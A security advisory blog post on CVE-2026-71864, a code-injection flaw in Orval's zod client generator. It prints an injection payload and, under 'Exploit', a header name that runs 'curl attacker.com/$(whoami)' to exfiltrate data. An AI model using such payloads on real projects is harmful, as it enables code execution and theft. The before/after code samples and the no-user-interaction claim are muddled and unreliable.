Listen to this Post
How CVE-2026-71864 Works
Orval is a popular tool that generates type-safe JavaScript clients in TypeScript from OpenAPI v3 and Swagger v2 specifications. Prior to version 8.21.0, a critical input validation flaw existed within its code generation logic. The vulnerability specifically resides in how Orval generates request-validation schemas using the Zod library, located in the `packages/zod/src/index.ts` file.
The core issue is that Orval’s zod client emits each header parameter name as a double-quoted key in the generated `zod.object({…})` schema without escaping the double quote. A header parameter name is a pure data field, but when a `”` (double quote) is included in the name, it closes the string key early and lands the subsequent text in an object-literal context.
In this object-literal context, an attacker can inject a computed property key using the `
` syntax. The injected expression, such as <code>[require("fs").writeFileSync("PWNED","")]</code>, is evaluated when the `zod.object({...})` code runs. This evaluation happens at module import time because the generated client typically exports the schema directly (e.g., <code>export const OpHeader = zod.object({...})</code>), which executes on load.
This results in import-time Remote Code Execution (RCE). Any user who generates an Orval zod client from an attacker-controlled OpenAPI specification and imports the generated module will execute the attacker's JavaScript code. The vulnerability also affects the hono client, as it reuses the zod generation logic.
Orval does escape values in zod arrays, but it fails to escape keys in <code>zod.object</code>, making this a distinct class of vulnerability. This issue is separate from other Orval findings related to <code>$ref</code>, route-path, server-url, or zod-default vulnerabilities. The proof of concept (PoC) provided with the advisory involves a `reproduce.sh` script and a `make_spec.py` file that generate a header parameter name designed to break the `zod.object` key and inject a computed key. Importing the resulting module successfully writes a marker file, demonstrating the exploit.
The suggested fix is to properly escape the header parameter name for the JavaScript string key, for example, by using <code>JSON.stringify</code>, and to never interpolate a raw name adjacent to `[ ]` in an object-literal position.
<h2 style="color: blue;">DailyCVE Form:</h2>
Platform: orval
Version: < 8.21.0
Vulnerability: Code Injection
Severity: CRITICAL
Date: 2026-08-19
<h2 style="color: blue;">Prediction: 2026-08-19 (Fixed in 8.21.0)</h2>
<h2 style="color: blue;">What Undercode Say:</h2>
<h2 style="color: blue;">Analytics and Bash commands related to the vulnerability:</h2>
<h2 style="color: blue;">Verify Orval Version:</h2>
[bash]
npm list orval
Check for Vulnerable Version in `package.json`:
grep '"orval"' package.json
Simulate the Vulnerability (Educational):
While a full exploit requires crafting a malicious OpenAPI spec, the core injection can be understood by examining the generated code. A vulnerable Orval (prior to 8.21.0) would generate code similar to:
export const OpHeader = zod.object({
"a": zod.string(),
"b": ...
})
Check for the Fix (Post-8.21.0):
The fix involves properly escaping the header parameter name. A patched version would generate:
export const OpHeader = zod.object({
"a": zod.string(),
"safe-header-name": zod.string(),
"b": ...
})
The key difference is that the header name is now safely stringified, preventing any injection.
Exploit: (Educational Purposes!)
An attacker can exploit this by controlling the OpenAPI/Swagger specification file that a developer uses with Orval. By including a header parameter with a malicious name, such as:
"}] = 0; [require('child_process').exec('curl attacker.com/$(whoami)')] //"
When Orval processes this spec (prior to 8.21.0), it would generate a `zod.object` schema with an injected computed property. When the generated client module is imported by the developer, the malicious code executes, potentially exfiltrating data or compromising the environment.
Protection: from this CVE
The primary and most effective protection is to upgrade Orval to version 8.21.0 or later. This version includes the proper escaping for header parameter names, mitigating the injection vector.
If an immediate upgrade is not possible, organizations should:
1. Avoid generating clients from untrusted OpenAPI specifications. Only use specifications from trusted sources.
2. Implement code review for generated client code. Manually inspect the generated Zod schemas for any unusual or suspicious syntax, such as unexpected brackets `[]` or `require()` statements.
3. Run security scans on your codebase and dependencies to detect if any vulnerable versions of Orval are in use.
Impact:
Successful exploitation of CVE-2026-71864 leads to JavaScript/OS command execution at import time. This can occur in various environments, including:
– Developer Machines: An attacker could execute code on a developer’s local machine when they import the generated client.
– CI/CD Pipelines: If the generated client is imported during a build or test process, the malicious code could execute within the pipeline, potentially leading to credential theft or supply chain attacks.
– Applications: If the generated client is imported by a running application, the attacker’s code could execute in the application’s context.
The vulnerability has a CVSS v4.0 base score of 9.3, which is considered CRITICAL. The attack vector is network-based, requires no privileges, and needs no user interaction, making it highly dangerous.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
